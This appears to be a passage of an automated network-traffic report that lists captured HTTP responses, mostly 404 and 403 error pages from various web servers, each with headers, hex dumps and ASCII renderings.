Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 62 76 68 72 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at bvhrs.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-117.ec2.internalX-Request-Id: 522906a5-3a0f-413b-8b91-6520c6622fe0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-117.ec2.internalX-Request-Id: 7a17c252-4384-4a5c-92aa-b9c4d35f513bData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-215.ec2.internalX-Request-Id: d93bdd24-2e62-4221-ba7e-7b1503931066Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveKeep-Alive: timeout=20Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 26 Nov 2023 05:55:11 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 178Content-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 3d 0f 82 30 14 45 f7 fe 8a 27 bb 3c 34 8c 4d 07 f9 88 24 88 c4 94 c1 11 d3 9a 92 40 8b b4 68 fc f7 52 58 1c ef bb e7 9d 5c ba 4b af 09 bf d7 19 9c f9 a5 84 ba 39 95 45 02 c1 1e b1 c8 78 8e 98 f2 74 6b 8e 61 84 98 55 01 23 54 b9 a1 67 54 c9 56 2c c1 75 ae 97 2c 8e 62 a8 8c 83 dc cc 5a 50 dc 8e 84 e2 0a d1 87 11 5f ff 77 60 7f cc 92 08 1d 19 57 12 26 f9 9a a5 75 52 40 73 2b 01 5b 31 74 1a e1 d3 5a d0 0b ff f4 3c 18 0d 4e 75 16 ac 9c de 72 0a 29 8e de bf 9a 17 97 5f 44 7e e1 f7 2d aa cc 00 00 00 Data Ascii: M=0E'<4M$@hRX\K9ExtkaU#TgTV,u,bZP_w`W&uR@s+[1tZ<Nur)_D~-
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheLast-Modified: Thu, 24 Oct 2019 19:33:13 GMTETag: "1e8-595ad1aad5040"Accept-Ranges: bytesContent-Length: 488Content-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 74 2d 62 72 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 50 e1 67 69 6e 61 20 4e e3 6f 20 45 6e 63 6f 6e 74 72 61 64 61 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 41 72 69 61 6c 22 20 73 69 7a 65 3d 22 33 22 3e 45 72 72 6f 20 34 30 34 3c 2f 66 6f 6e 74 3e 3c 2f 62 3e 3c 2f 70 3e 0a 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 4d 53 20 53 61 6e 73 20 53 65 72 69 66 22 20 73 69 7a 65 3d 22 32 22 3e 50 e1 67 69 6e 61 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 3c 2f 66 6f 6e 74 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Language" content="pt-br"><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>Pgina No Encontrada</title></head><body><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"> </p><p align="center"><b><font face="Arial" size="3">Erro 404</font></b></p><p align="center"><font face="MS Sans Serif" size="2">Pgina no encontrada</font></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-17.ec2.internalX-Request-Id: 4fbb1219-31f6-4a77-adf9-ae1a3c8142a1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:39 GMTServer: ApacheUpgrade: h2,h2cConnection: UpgradeAccept-Ranges: bytesVary: Accept-EncodingCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Content-Length: 1699Content-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Sucuri/CloudproxyDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveX-Sucuri-ID: 14013X-XSS-Protection: 1; mode=blockX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=4813b33e8d8de01341c2649c91eea2fb; path=/Vary: Accept-EncodingX-Sucuri-Cache: MISSData Raw: 66 37 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 0a 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 65 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 36 33 33 33 35 34 37 34 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 36 33 33 33 35 34 37 34 30 22 20 2f 3e 0a 0a 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 61 6d 61 7a 6f 6e 61 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 74 68 65 6d 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 69 6d 62 72 61 75 73 61 2e 63 6f 6d 2f 74 68 65 6d 65 73 2f 61 6d 61 7a 6f 6e 61 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 71 75 69 63 6b 2d 6f 72 64 65 72 Data Ascii: f7e<!doctype html><html lang="en"> <head> <meta charset="utf-8"><meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404 e
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://samson.pe/wp-json/>; rel="https://api.w.org/"content-length: 8901content-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:40 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 cd 7d 5b 77 db 38 92 f0 b3 7d ce fc 07 84 39 b1 a5 6e de 25 f9 22 5b ea 71 d2 9e de ec a6 3b 99 38 d9 39 bb 49 4e 0e 44 42 12 12 92 60 03 a0 65 b5 5b 3f 66 1f f7 79 df f6 b5 ff d8 9e 02 78 13 4d c9 8e ed 9e ef cb 4c cb 24 50 a8 2a 14 aa 0a f7 e2 e9 93 90 05 72 99 12 34 97 71 34 de 3d 85 3f 28 c2 c9 6c 64 10 61 bd 39 37 20 8d e0 70 bc bb 73 1a 13 89 51 30 c7 5c 